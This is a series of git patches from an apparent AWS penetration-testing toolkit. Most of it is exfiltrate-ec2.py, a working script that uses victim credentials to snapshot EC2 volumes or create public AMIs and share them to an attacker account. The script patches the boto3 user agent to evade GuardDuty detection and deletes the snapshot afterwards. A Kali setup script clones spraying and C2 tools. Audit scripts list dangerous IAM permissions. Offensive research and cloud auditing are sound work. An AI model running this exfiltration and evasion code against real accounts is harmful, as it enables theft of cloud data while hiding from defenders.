config['availability-zone'] = args.availability_zone + else: + Logger.fatal('--volume-id and --attach-instance-id parameters are required for this to work.') + + if not args.region: + Logger.fatal("Please provide AWS region to operate in.") + + if args.profile and (args.access_key or args.secret_key or args.token): + Logger.fatal("There should only be used either profile name or raw credentials for Attacker's AWS keys!") + + if args.victim_profile and (args.victim_access_key or args.victim_secret_key or args.victim_token): + Logger.fatal("There should only be used either profile name or raw credentials for Victim's AWS keys!") + + if args.profile: + config['attacker']['profile'] = args.profile + Logger.info(f"Using attacker's profile: {args.profile}") + elif args.access_key and args.secret_key: + config['attacker']['access-key'] = args.access_key + config['attacker']['secret-key'] = args.secret_key + config['attacker']['token'] = args.token + Logger.info(f"Using passed Attacker's AWS credentials: ******{args.access_key[-6:]}") + else: + Logger.fatal("Both access key and secret key must be specified for Attacker's AWS credentials if profile was not used!") + + if args.victim_profile: + config['victim']['profile'] = args.profile + Logger.info(f"Using victim's profile: {args.profile}") + elif args.victim_access_key and args.victim_secret_key: + config['victim']['access-key'] = args.victim_access_key + config['victim']['secret-key'] = args.victim_secret_key + config['victim']['token'] = args.victim_token + Logger.info(f"Using passed Victim's AWS credentials: ******{args.victim_access_key[-6:]}") + else: + Logger.fatal("Both access key and secret key must be specified for Victim's AWS credentials if profile was not used!") + + return args + +def monkeyPatchBotocoreUserAgent(): + ''' + This is to avoid triggering GuardDuty 'PenTest:IAMUser/KaliLinux' alerts + Source: + https://www.thesubtlety.com/post/patching-boto3-useragent/ + + ''' + import sys + import boto3 + import botocore + + try: + from _pytest.monkeypatch import MonkeyPatch + except (ImportError, ModuleNotFoundError) as e: + print('[!] Please install "pytest" first: pip3 install pytest') + print('\tthis will be used to patch-up boto3 library to avoid GuardDuty Kali detection') + sys.exit(0) + + monkeypatch = MonkeyPatch() + def my_user_agent(self): + return "Boto3/1.9.89 Python/2.7.12 Linux/4.2.0-42-generic" + + monkeypatch.setattr(botocore.session.Session, 'user_agent', my_user_agent) + +def main(argv): + opts = parseOptions(argv) + if not opts: + Logger.err('Options parsing failed.') + return False + + monkeyPatchBotocoreUserAgent() + + exp = ExfiltrateEC2( + opts.region, + config['attacker'], + config['victim'], + ) + + if opts.method == 'createimage': + Logger.info("Abusing ec2:CreateImage...") + exp.create_image(opts.instance_id) + + elif opts.method == 'createsnapshot': + Logger.out("Abusing dangerous ec2:CreateSnapshot and ec2:ModifySnapshotAttribute...\n") + exp.create_snapshot(opts.attach_instance_id, opts.volume_id, opts.availability_zone) + + else: + Logger.fatal(f"Unknown method specified: {opts.method}") + +if __name__ == '__main__': + main(sys.argv) diff --git a/linux/prepare-kali.sh b/linux/prepare-kali.sh index 6bc0b49..6bf069e 100644 --- a/linux/prepare-kali.sh +++ b/linux/prepare-kali.sh @@ -66,7 +66,7 @@ apt-get update --fix-missing apt install -yq -m git build-essential binutils-dev vim python3 libunwind-dev python unzip python-pip python3-pip python3-venv python3-setuptools libssl-dev autoconf automake libtool python2.7-dev python3.7-dev python3-tk jq awscli npm graphviz golang neo4j libgconf-2-4 bloodhound lftp chromium heimdal-clients python-ldap rdate pcregrep lftp mingw-w64 bluetooth bluez libbluetooth-dev libudev-dev p7zip git ca-certificates build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libqt4-dev libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev bettercap oscanner tnscmd10g samba samba-common smbclient unrar libnfc-bin autoconf libnfc-dev tox libmariadb-dev python-m2crypto -pip3 install virtualenv awscli wheel boto3 botocore btlejack +pip3 install virtualenv awscli wheel boto3 botocore btlejack six pip2 install virtualenv wheel boto3 botocore pyinstaller lxml pyip ansi2html install_dotnet From 54da016b7093696a033aac5c828c5f7d372cbd55 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Wed, 4 Dec 2019 17:58:39 +0100 Subject: [PATCH 14/34] Readme updated --- clouds/aws/README.md | 55 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 55 insertions(+) diff --git a/clouds/aws/README.md b/clouds/aws/README.md index 7573005..9379aea 100644 --- a/clouds/aws/README.md +++ b/clouds/aws/README.md @@ -103,6 +103,61 @@ IAM Permissions abused: - `ec2:CreateImage` ``` +attacker $ python3 ./exfiltrate-ec2.py --help + + :: exfiltrate-ec2 + Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume + Mariusz B. / mgeeky '19, + +usage: ./exfiltrate-ec2.py [-h] [--region REGION] [--profile PROFILE] + [--access-key ACCESS_KEY] [--secret-key SECRET_KEY] + [--token TOKEN] [--victim-profile VICTIM_PROFILE] + [--victim-access-key VICTIM_ACCESS_KEY] + [--victim-secret-key VICTIM_SECRET_KEY] + [--victim-token VICTIM_TOKEN] [-v] + {createimage,createsnapshot} ... + +positional arguments: + {createimage,createsnapshot} + Available methods + createimage Creates a snapshot of a running or stopped EC2 + instance in an AMI image form. This AMI image will + then be shared with another AWS account, constituing + exfiltration opportunity. + createsnapshot Creates a snapshot of an EBS volume used by an EC2 + instance. This snapshot will then be shared with + another AWS account, constituing exfiltration + opportunity. + +required arguments: + --region REGION AWS Region to use. + +optional arguments: + -v, --verbose Display verbose output. + +Attacker's AWS credentials - where to instantiate exfiltrated EC2: + --profile PROFILE Attacker's AWS Profile name to use if --access-key was + not specified + --access-key ACCESS_KEY + Attacker's AWS Access Key ID to use if --profile was + not specified + --secret-key SECRET_KEY + Attacker's AWS Secret Key ID + --token TOKEN (Optional) Attacker's AWS temporary session token + +Victim AWS credentials - where to find EC2 to exfiltrate: + --victim-profile VICTIM_PROFILE + Victim's AWS Profile name to use if --access-key was + not specified + --victim-access-key VICTIM_ACCESS_KEY + Victim's AWS Access Key ID to use if --profile was not + specified + --victim-secret-key VICTIM_SECRET_KEY + Victim's AWS Secret Key ID + --victim-token VICTIM_TOKEN + (Optional) Victim's AWS temporary session token + + attacker $ python3 ./exfiltrate-ec2.py --region us-east-1 -v --profile default --victim-profile victim-profile createsnapshot --volume-id vol-0f340890acfXXXXX --attach-instance-id i-0b359b0fcbcYYYYY :: exfiltrate-ec2 From 04d65f6547c7d113ab51d482fc98598c7048b190 Mon Sep 17 00:00:00 2001 From: Mariusz B Date: Wed, 4 Dec 2019 17:59:48 +0100 Subject: [PATCH 15/34] Update README.md --- clouds/aws/README.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/clouds/aws/README.md b/clouds/aws/README.md index 9379aea..4d30301 100644 --- a/clouds/aws/README.md +++ b/clouds/aws/README.md @@ -211,7 +211,6 @@ To examine exfiltrated data: 0) SSH to the attacker's EC2 instance # ssh ec2-user@18.206.230.190 - 1) List block devices mapped: # lsblk @@ -221,7 +220,6 @@ To examine exfiltrated data: 3) Mount that device's volume: # mount /dev/xvdf1 /exfiltrated - attacker $ ssh ec2-user@18.206.230.190 [...] ec2-user@ec2instance:~$ sudo -s From fa2a85db3f2289f07a7a00192a66ed8636abf769 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Wed, 4 Dec 2019 18:24:44 +0100 Subject: [PATCH 16/34] Fixed reference to victim profile parameter's value --- clouds/aws/exfiltrate-ec2.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/clouds/aws/exfiltrate-ec2.py b/clouds/aws/exfiltrate-ec2.py index 435fb56..c6f3e1e 100644 --- a/clouds/aws/exfiltrate-ec2.py +++ b/clouds/aws/exfiltrate-ec2.py @@ -456,8 +456,8 @@ def parseOptions(argv): Logger.fatal("Both access key and secret key must be specified for Attacker's AWS credentials if profile was not used!") if args.victim_profile: - config['victim']['profile'] = args.profile - Logger.info(f"Using victim's profile: {args.profile}") + config['victim']['profile'] = args.victim_profile + Logger.info(f"Using victim's profile: {args.victim_profile}") elif args.victim_access_key and args.victim_secret_key: config['victim']['access-key'] = args.victim_access_key config['victim']['secret-key'] = args.victim_secret_key From 38b7d354ba8b67780fb88aa73269454a58853e17 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Wed, 4 Dec 2019 18:39:46 +0100 Subject: [PATCH 17/34] New line --- clouds/aws/exfiltrate-ec2.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/clouds/aws/exfiltrate-ec2.py b/clouds/aws/exfiltrate-ec2.py index c6f3e1e..6d91703 100644 --- a/clouds/aws/exfiltrate-ec2.py +++ b/clouds/aws/exfiltrate-ec2.py @@ -277,7 +277,7 @@ class ExfiltrateEC2: else: Logger.fail(f"ec2:AttachVolume action on Attacker failed. Exception: {e}") - ssh_command = 'SSH to the attacker\'s EC2 instance' + ssh_command = 'SSH to the attacker\'s EC2 instance\n' if attacker_instance_data: try: ip = attacker_instance_data['PublicIpAddress'] From c6454d1c1157239f9e26853e1b6f7e635a29539a Mon Sep 17 00:00:00 2001 From: Mariusz B Date: Thu, 5 Dec 2019 00:10:16 +0100 Subject: [PATCH 18/34] Added wsuxploit and wsuspect-proxy tools --- linux/prepare-kali.sh | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/linux/prepare-kali.sh b/linux/prepare-kali.sh index 6bf069e..9bf686b 100644 --- a/linux/prepare-kali.sh +++ b/linux/prepare-kali.sh @@ -439,6 +439,11 @@ python setup.py install cd ../../ git_clone https://github.com/rasta-mouse/Watson.git +git_clone https://github.com/pimps/wsuxploit.git +cd wsuxploit +git_clone https://github.com/ctxis/wsuspect-proxy.git +cd .. + popd # ======================================================================================= @@ -827,6 +832,7 @@ alias unblock_dir='sudo chmod -R 755' alias block_dir='sudo chmod -R 700' alias recursivegitpull='find . -name ".git" -type d -exec echo {} \; -exec git -C {}/.. pull \;' +alias gitclone='git clone --recurse-submodules' EOF sed -i -r "s:~/:$ROOT_DIR/:" $ROOT_DIR/.bashrc From 5c58f333cb85c8b99f9bce64d58f4dc50c91aace Mon Sep 17 00:00:00 2001 From: mgeeky Date: Thu, 5 Dec 2019 11:24:49 +0100 Subject: [PATCH 19/34] Enhanced exfiltrate-ec2.py a bit --- clouds/aws/exfiltrate-ec2.py | 59 +++++++++++++++++++++++++++--------- 1 file changed, 45 insertions(+), 14 deletions(-) diff --git a/clouds/aws/exfiltrate-ec2.py b/clouds/aws/exfiltrate-ec2.py index 6d91703..aa425d2 100644 --- a/clouds/aws/exfiltrate-ec2.py +++ b/clouds/aws/exfiltrate-ec2.py @@ -22,7 +22,7 @@ # Abuses: # ec2:CreateImage # -# NOT IMPLEMENTED YET. +# NOT FULLY IMPLEMENTED YET. # For this technique, the procedure is following - the script will create an image out of specified victim's EC2 # instance. This image will become publicly available (caution with client sensitive data!). After that, the script # will attempt to create/import public SSH RSA keys to the attacker's account and then create an EC2 instance using that @@ -277,6 +277,13 @@ class ExfiltrateEC2: else: Logger.fail(f"ec2:AttachVolume action on Attacker failed. Exception: {e}") + try: + Logger.out(f"Cleanup. Trying to remove created snapshot ({snapshot['SnapshotId']}) at Victim's estate...") + victim_client.delete_snapshot(SnapshotId = snapshot['SnapshotId']) + Logger.ok(f"Snapshot removed.") + except Exception as e: + Logger.fail(f"(That's ok) ec2:DeleteSnapshot action on Victim failed. Exception: {e}") + ssh_command = 'SSH to the attacker\'s EC2 instance\n' if attacker_instance_data: try: @@ -328,17 +335,21 @@ To examine exfiltrated data: ''') return True - def create_image(self, instance_id): - # Step 1: Create image: - # client.create_image( - # InstanceId = "", - # Name = "some name", - # Description = "some description" - # ) - # Returns: - # { - # "ImageId" : "ami-00000000" - # } + def create_image(self, instance_id, image_name, image_description): + victim_client = self.session['victim'].client('ec2') + attacker_client = self.session['attacker'].client('ec2') + + created_image = None + try: + Logger.out("Step 1: Creating a publicly available AMI image out of specified EC2 instance.") + created_image = victim_client.create_image( + InstanceId = instance_id, + Name = image_name, + Description = image_description + ) + Logger.ok(f"AMI Image with name: ({image_name}) created: {created_image['ImageId']}") + except Exception as e: + Logger.fatal(f"ec2:CreateImage action on Victim failed. Exception: {e}") # Step 2: Import custom SSH RSA public key # client.import_key_pair( @@ -369,7 +380,25 @@ To examine exfiltrated data: # # $ ssh ec2-user@1.2.3.4 # $ ls -l - Logger.fatal("NOT IMPLEMENTED YET.") + + print(f""" +=============================================================== +[!] REST OF THE EXPLOIT LOGIC HAS NOT BEEN IMPLEMENTED YET. +=============================================================== + +[.] You can proceed manually from this point: + + 1) Create an EC2 instance in region: {self.region} + + 2) Make sure this EC2 instance is being created out of public AMI image with ID: + Image ID: {created_image['ImageId']} + + 3) Setup SSH keys, Security Groups, etc. + + 4) SSH into that machine. + +Created EC2 instance's filesystem will be filled with files coming from the exfiltrated EC2. +""") def parseOptions(argv): global config @@ -408,6 +437,8 @@ def parseOptions(argv): ' This AMI image will then be shared with another AWS account, constituing exfiltration opportunity.' createimage = subparsers.add_parser('createimage', help = a) createimage.add_argument('--instance-id', help = '(Required) Specifies instance id (i-...) to create an image of.') + createimage.add_argument('--image-name', default = "Exfiltrated AMI image", type=str, help = '(Optional) Specifies a name for newly created AMI image. Default: "Exfiltrated AMI image"') + createimage.add_argument('--image-desc', default = "Exfiltrated AMI image", type=str, help = '(Optional) Specifies a description for newly created AMI image. Default: "Exfiltrated AMI image"') b = 'Creates a snapshot of an EBS volume used by an EC2 instance.'\ ' This snapshot will then be shared with another AWS account, constituing exfiltration opportunity.' @@ -508,7 +539,7 @@ def main(argv): if opts.method == 'createimage': Logger.info("Abusing ec2:CreateImage...") - exp.create_image(opts.instance_id) + exp.create_image(opts.instance_id, opts.image_name, opts.image_desc) elif opts.method == 'createsnapshot': Logger.out("Abusing dangerous ec2:CreateSnapshot and ec2:ModifySnapshotAttribute...\n") From 7e0bb74f06286f20d3725154b31bb67df7f739da Mon Sep 17 00:00:00 2001 From: mgeeky Date: Thu, 5 Dec 2019 11:28:42 +0100 Subject: [PATCH 20/34] Made prepare-linux.sh not clobber on already prepared .bashrc --- linux/prepare-kali.sh | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/linux/prepare-kali.sh b/linux/prepare-kali.sh index 9bf686b..aecac41 100644 --- a/linux/prepare-kali.sh +++ b/linux/prepare-kali.sh @@ -558,6 +558,8 @@ find . -name .git | while read line; do popd done +if ! grep -q "function killallbyname() {" $ROOT_DIR/.bashrc ; then + # Append some stuff to bashrc cat <<'EOF' >> $ROOT_DIR/.bashrc @@ -836,3 +838,5 @@ alias gitclone='git clone --recurse-submodules' EOF sed -i -r "s:~/:$ROOT_DIR/:" $ROOT_DIR/.bashrc + +fi From a98678255a66943c1c2928ec79e4593d919d8b51 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Thu, 5 Dec 2019 15:41:29 +0100 Subject: [PATCH 21/34] find-exposed-resources.sh --- clouds/aws/README.md | 3 + clouds/aws/find-exposed-resources.sh | 105 +++++++++++++++++++++++++++ 2 files changed, 108 insertions(+) create mode 100755 clouds/aws/find-exposed-resources.sh diff --git a/clouds/aws/README.md b/clouds/aws/README.md index 4d30301..83feee5 100644 --- a/clouds/aws/README.md +++ b/clouds/aws/README.md @@ -244,8 +244,11 @@ drwxr-xr-x 3 root root 4096 lis 4 16:18 home - **`exfiltrateLambdaTasksDirectory.py`** - Script that creates an in-memory ZIP file from the entire directory `$LAMBDA_TASK_ROOT` (typically `/var/task`) and sends it out in a form of HTTP(S) POST request, within an `exfil` parameter. To be used for exfiltrating AWS Lambda's entire source code. +- **`find-exposed-resources.sh`** - Utterly simple script enumerating some of the resources that could be publicly shared which would count as a security misconfiguration. + - **`get-session-creds-in-config-format.sh`** - Calls `aws sts assume-role` using MFA token in order to then retrieve session credentials and reformat it into `~/.aws/credentials` file format. Having that it's easy to copy-and-paste that script's output into credentials file. Then tools such as _s3tk_ that are unable to process MFA tokens may just use preconfigured profile creds. - **`identifyS3Bucket.rb`** - This script attempts to identify passed name whether it resolves to a valid AWS S3 Bucket via different means. This script may come handy when revealing S3 buckets hidden behind HTTP proxies. - **`pentest-ec2-instance`** - A set of utilities for quick starting, ssh-ing and stopping of a single temporary EC2 instance intended to be used for Web out-of-band tests (SSRF, reverse-shells, dns/http/other daemons). + diff --git a/clouds/aws/find-exposed-resources.sh b/clouds/aws/find-exposed-resources.sh new file mode 100755 index 0000000..f92a90b --- /dev/null +++ b/clouds/aws/find-exposed-resources.sh @@ -0,0 +1,105 @@ +#!/bin/bash +# +# This script attempts quickly enumerate some of the exposed resources +# available given a set of AWS credentials. +# Based on excellent work of Scott Piper: +# https://duo.com/blog/beyond-s3-exposed-resources-on-aws +# + +if [ $# -lt 1 ]; then + echo "Usage: ./find-exposed-resources.sh [region]" + echo "" + echo "If region is not specified, will enumerate all regions." + exit 1 +fi + +PROFILE=$1 +REGION= + +if [[ "$2" != "" ]]; then + REGION="$2" +fi + +trap ctrl_c INT + +function ctrl_c() { + echo "[!] User interrupted script execution." + exit 1 +} + +function _aws() { + if [[ "$REGION" != "" ]]; then + #echo "aws --region $REGION --profile $PROFILE $@ --no-paginate" + aws --region $REGION --profile $PROFILE $@ --no-paginate + else + #echo "aws --profile $PROFILE $@ --no-paginate" + aws --profile $PROFILE $@ --no-paginate + fi +} + +function ebs_snapshots() { + out=$(_aws ec2 describe-snapshots --owner-id self --restorable-by-user-ids all) + if ! echo "$out" | grep -q '": \[\]'; then + echo "---[ Public EBS Snapshots" + echo "$out" + echo + fi +} + +function rds_snapshots() { + out=$(_aws rds describe-db-snapshots --snapshot-type public) + if ! echo "$out" | grep -q '": \[\]'; then + echo "---[ Public RDS Snapshots" + echo "$out" + echo + fi +} + +function ami_images() { + out=$(_aws ec2 describe-images --owners self --executable-users all) + if ! echo "$out" | grep -q '": \[\]'; then + echo "---[ Public RDS Snapshots" + echo "$out" + echo + fi +} + +function s3_buckets() { + echo "---[ Public S3 Buckets" + for bucket in $(_aws s3api list-buckets --query 'Buckets[*].Name' --output text) + do + pub=$(_aws s3api get-bucket-policy-status --bucket $bucket --query 'PolicyStatus.IsPublic' 2> /dev/null || echo 'false') + echo -n "IsPublic:" + if [[ "$pub" == "true" ]]; then + echo -en "\e[91m" + else + echo -en "\e[34m" + fi + echo -e "$pub\e[39m - Bucket: \e[93m$bucket\e[39m" + done + echo +} + +regions=$(aws ec2 describe-regions --query 'Regions[*].RegionName' --output text) + +if [[ "$REGION" == "" ]]; then + for region in ${regions[@]} + do + REGION="$region" + echo "=================== Region: $region ======================" + echo + ebs_snapshots + rds_snapshots + ami_images + done + echo +else + echo "=================== Region: $REGION ======================" + echo + ebs_snapshots + rds_snapshots + ami_images + echo +fi + +s3_buckets From c2a067146aebddca678f5c36b16a1278d23328b7 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Thu, 5 Dec 2019 17:58:18 +0100 Subject: [PATCH 22/34] Improved on evaluate-iam-role.sh --- clouds/aws/evaluate-iam-role.sh | 46 ++++++++++++++++++++------------- 1 file changed, 28 insertions(+), 18 deletions(-) diff --git a/clouds/aws/evaluate-iam-role.sh b/clouds/aws/evaluate-iam-role.sh index c7975cd..821c6a2 100755 --- a/clouds/aws/evaluate-iam-role.sh +++ b/clouds/aws/evaluate-iam-role.sh @@ -47,6 +47,7 @@ IFS=$'\n' attached_role_policies=($(aws --profile $PROFILE iam list-attached-role-policies --role-name $ROLE_NAME | jq -r '.AttachedPolicies[].PolicyArn')) dangerous_permissions=() +all_perms=() for policy in "${attached_role_policies[@]}" ; do echo -e "\n=============== Attached Policy Arn: $policy ===============" @@ -56,28 +57,37 @@ for policy in "${attached_role_policies[@]}" ; do policy_version=$(aws --profile $PROFILE iam get-policy-version --policy-arn $policy --version-id $version_id) echo "$policy_version" - permissions=($(echo "$policy_version" | jq -r '.PolicyVersion.Document.Statement[].Action | if type=="string" then [.] else . end | .[]')) - effect=$(echo "$policy_version" | jq -r '.PolicyVersion.Document.Statement[].Effect' ) + permissions=($(echo "$policy_version" | jq -r '.PolicyVersion.Document.Statement[] | select(.Effect=="Allow") | if .Action|type=="string" then [.Action] else .Action end | .[]')) - if [[ "$effect" == "Allow" ]]; then - for perm in "${permissions[@]}" ; do - for dangperm in "${known_dangerous_permissions[@]}"; do - if echo "$dangperm" | grep -iq $perm ; then - dangerous_permissions+=("$perm") - elif echo "$perm" | grep -qP "\w+:\*"; then - dangerous_permissions+=("$perm") - fi - done + for perm in "${permissions[@]}" ; do + all_perms+=("$perm") + for dangperm in "${known_dangerous_permissions[@]}"; do + if echo "$dangperm" | grep -iq $perm ; then + dangerous_permissions+=("$perm") + elif echo "$perm" | grep -qP "\w+:\*"; then + dangerous_permissions+=("$perm") + fi done - fi + done done -if [[ ${#dangerous_permissions[@]} -gt 0 ]]; then - echo -e "\n\n=============== Detected dangerous permissions granted ===============" - sorted=($(echo "${dangerous_permissions[@]}" | tr ' ' '\n' | sort -u )) - for dangperm in "${sorted[@]}"; do - echo -e "\t$dangperm" +if [[ ${#all_perms[@]} -gt 0 ]]; then + echo -e "\n\n=============== All permissions granted to this role ===============" + sorted=($(echo "${all_perms[@]}" | tr ' ' '\n' | sort -u )) + for perm in "${sorted[@]}"; do + echo -e "\t$perm" done + + if [[ ${#dangerous_permissions[@]} -gt 0 ]]; then + echo -e "\n\n=============== Detected dangerous permissions granted ===============" + sorted=($(echo "${dangerous_permissions[@]}" | tr ' ' '\n' | sort -u )) + for dangperm in "${sorted[@]}"; do + echo -e "\t$dangperm" + done + else + echo -e "\nNo dangerous permissions were found to be granted." + fi else - echo -e "\nNo dangerous permissions were found to be granted." + echo -e "\nNo permissions were found to be granted." fi + From 5f56e0ab3389d51f89a1594a9986f00b7b5f1807 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Thu, 5 Dec 2019 18:28:38 +0100 Subject: [PATCH 23/34] Added atomizer/SprayingToolkit --- linux/prepare-kali.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/linux/prepare-kali.sh b/linux/prepare-kali.sh index aecac41..876a71b 100644 --- a/linux/prepare-kali.sh +++ b/linux/prepare-kali.sh @@ -340,6 +340,7 @@ git_clone https://github.com/stufus/ADOffline.git git_clone https://github.com/Veil-Framework/Veil.git git_clone https://github.com/Veil-Framework/Veil-Evasion.git git_clone https://github.com/pentestgeek/phishing-frenzy.git +git_clone https://github.com/byt3bl33d3r/SprayingToolkit.git git_clone https://github.com/trustedsec/social-engineer-toolkit.git git_clone https://github.com/bluscreenofjeff/Malleable-C2-Randomizer.git git_clone https://github.com/sensepost/ruler.git From 7b10ba1c08245f953a3da3de5d7434a91cb2c25b Mon Sep 17 00:00:00 2001 From: mgeeky Date: Thu, 5 Dec 2019 19:03:29 +0100 Subject: [PATCH 24/34] Enhanced exfiltrate-ec2.py a bit more --- clouds/aws/evaluate-iam-role.sh | 41 +++++++++++++++++++++++++++++++-- 1 file changed, 39 insertions(+), 2 deletions(-) diff --git a/clouds/aws/evaluate-iam-role.sh b/clouds/aws/evaluate-iam-role.sh index 821c6a2..49fbd95 100755 --- a/clouds/aws/evaluate-iam-role.sh +++ b/clouds/aws/evaluate-iam-role.sh @@ -8,6 +8,29 @@ fi PROFILE=$1 ROLE_NAME=$2 +known_potentially_dangerous_permissions=( + ".*:\*" + ".*:.*Attach.*" + ".*:.*Create.*" + ".*:.*Delete.*" + ".*:.*Reboot.*" + ".*:.*Command.*" + ".*:.*Run.*" + ".*:.*Send.*" + ".*:.*Batch.*" + ".*:.*Set.*" + ".*:.*Invoke.*" + ".*:.*Add.*" + ".*:.*Execute.*" + ".*:.*Start.*" + ".*:.*Modify.*" + ".*:.*Register.*" + ".*:.*Replace.*" + ".*:.*Change.*" + ".*:.*Update.*" + ".*:.*Put.*" +) + known_dangerous_permissions=( "*:*" "iam:CreatePolicyVersion" @@ -47,6 +70,7 @@ IFS=$'\n' attached_role_policies=($(aws --profile $PROFILE iam list-attached-role-policies --role-name $ROLE_NAME | jq -r '.AttachedPolicies[].PolicyArn')) dangerous_permissions=() +potentially_dangerous_permissions=() all_perms=() for policy in "${attached_role_policies[@]}" ; do @@ -64,8 +88,11 @@ for policy in "${attached_role_policies[@]}" ; do for dangperm in "${known_dangerous_permissions[@]}"; do if echo "$dangperm" | grep -iq $perm ; then dangerous_permissions+=("$perm") - elif echo "$perm" | grep -qP "\w+:\*"; then - dangerous_permissions+=("$perm") + fi + done + for dangperm in "${known_potentially_dangerous_permissions[@]}"; do + if echo "$perm" | grep -Piq "$dangperm" ; then + potentially_dangerous_permissions+=("$perm") fi done done @@ -78,6 +105,16 @@ if [[ ${#all_perms[@]} -gt 0 ]]; then echo -e "\t$perm" done + if [[ ${#potentially_dangerous_permissions[@]} -gt 0 ]]; then + echo -e "\n\n=============== Detected POTENTIALLY dangerous permissions granted ===============" + sorted=($(echo "${potentially_dangerous_permissions[@]}" | tr ' ' '\n' | sort -u )) + for dangperm in "${sorted[@]}"; do + echo -e "\t$dangperm" + done + else + echo -e "\nNo potentially dangerous permissions were found to be granted." + fi + if [[ ${#dangerous_permissions[@]} -gt 0 ]]; then echo -e "\n\n=============== Detected dangerous permissions granted ===============" sorted=($(echo "${dangerous_permissions[@]}" | tr ' ' '\n' | sort -u )) From fb01387ed334a1ceb92851af5f1c4a6002dc191e Mon Sep 17 00:00:00 2001 From: mgeeky Date: Fri, 6 Dec 2019 09:57:53 +0100 Subject: [PATCH 25/34] Added two dangerous policies to evaluate-iam-role.sh --- clouds/aws/evaluate-iam-role.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/clouds/aws/evaluate-iam-role.sh b/clouds/aws/evaluate-iam-role.sh index 49fbd95..e83d48e 100755 --- a/clouds/aws/evaluate-iam-role.sh +++ b/clouds/aws/evaluate-iam-role.sh @@ -32,7 +32,8 @@ known_potentially_dangerous_permissions=( ) known_dangerous_permissions=( - "*:*" + "\*:\*" + "iam:\*" "iam:CreatePolicyVersion" "iam:SetDefaultPolicyVersion" "iam:PassRole" From 98262b1ceebad08c7db2a3c758daf9b7936b245f Mon Sep 17 00:00:00 2001 From: mgeeky Date: Fri, 6 Dec 2019 13:28:08 +0100 Subject: [PATCH 26/34] Enhanced evaluate-iam-role.sh --- clouds/aws/README.md | 73 ++++++++- clouds/aws/evaluate-iam-role.sh | 264 +++++++++++++++++++++++--------- 2 files changed, 261 insertions(+), 76 deletions(-) diff --git a/clouds/aws/README.md b/clouds/aws/README.md index 83feee5..b435022 100644 --- a/clouds/aws/README.md +++ b/clouds/aws/README.md @@ -93,7 +93,78 @@ Afterwards, one should see following logs in CloudWatch traces for planted Lambd [*] Following S3 object could be removed: (Bucket=90112981864022885796153088027941100000000000000000000000, Key=cloudtrail/AWSLogs/712800000000/CloudTrail/us-west-2/2019/03/20/712800000000_CloudTrail_us-west-2_20190320T1000Z_oxxxxxxxxxxxxc.json.gz) ``` -- **`evaluate-iam-role.sh`** - Enumerates attached IAM Role policies, goes through all of granted permissions and lists those that are known for Privilege Escalation risks. Based on [Rhino Security Labs work](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/). [gist](https://gist.github.com/mgeeky/14685d94af7848e64afefe6fd2341a18) +- **`evaluate-iam-role.sh`** - Enumerates attached IAM Role policies or specified Policy by it's Arn, goes through all of granted permissions and lists those that are known for Privilege Escalation or other risks. If `all` was specified as a role-name, the tool will evaluate all of the user-specified IAM Roles, iteratively. Based on [Rhino Security Labs work](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/). [gist](https://gist.github.com/mgeeky/14685d94af7848e64afefe6fd2341a18) + +``` +attacker $ ./evaluate-iam-role.sh awl CustomSysOpsRole +[+] Working on specified Role: CustomSysOpsRole + +[+] Role (CustomSysOpsRole) has following policies attached: + - arn:aws:iam::aws:policy/AmazonRDSFullAccess + - arn:aws:iam::aws:policy/AmazonEC2FullAccess + - arn:aws:iam::aws:policy/AWSLambdaFullAccess + - arn:aws:iam::aws:policy/AmazonS3FullAccess + - arn:aws:iam::aws:policy/ReadOnlyAccess + - arn:aws:iam::aws:policy/AmazonSSMFullAccess + - arn:aws:iam::aws:policy/AmazonMQFullAccess + - arn:aws:iam::aws:policy/AWSBackupAdminPolicy + + +[+] =============== Permissions granted =============== + + a4b:Describe* + a4b:Get* + a4b:List* + a4b:Search* + acm:Describe* + acm:DescribeCertificate + acm:Get* + acm:List* + [...] + workdocs:Get* + worklink:Describe* + worklink:List* + workmail:Describe* + workmail:Get* + workmail:List* + workmail:Search* + workspaces:Describe* + xray:BatchGet* + xray:Get* + xray:PutTelemetryRecords + xray:PutTraceSegments + + +[-] =============== Detected POTENTIALLY dangerous permissions granted =============== + + [...] + backup:* + backup-storage:* + clouddirectory:BatchRead + cloudformation:* + cloudformation:CreateStack + [...] + iot:CreateThing + iot:CreateTopicRule + sns:* + sqs:* + sqs:SendMessage + ssm:* + ssmmessages:CreateControlChannel + ssmmessages:CreateDataChannel + support:* + xray:BatchGet* + xray:PutTelemetryRecords + xray:PutTraceSegments + + +[!] =============== Detected DANGEROUS permissions granted =============== + + cloudformation:CreateStack + iam:AttachRolePolicy + iam:PassRole + +``` - **`exfiltrate-ec2.py`** - This script exploits insecure permissions given to the EC2 IAM Role allowing to exfiltrate target EC2's filesystem data in a form of it's shared EBS snapshot or publicly exposed AMI image. diff --git a/clouds/aws/evaluate-iam-role.sh b/clouds/aws/evaluate-iam-role.sh index e83d48e..817d08c 100755 --- a/clouds/aws/evaluate-iam-role.sh +++ b/clouds/aws/evaluate-iam-role.sh @@ -1,131 +1,245 @@ #!/bin/bash +# +# Evaluates specified AWS IAM Role or Policy given their name/Arn. +# Dumps all of the attached policies in case of Role and all of defined +# policy statements. Then goes through allowed permissions to pick all of them out. +# Finally, checks every allowed permission against a list of known troublesome ones. +# +# Mariusz B., mgeeky '19, +# v0.1 +# -if [ $# -ne 2 ]; then - echo "Usage: evaluate-iam-role.sh " +if [ $# -lt 2 ] ; then + echo "Usage: evaluate-iam-role.sh [-v] " 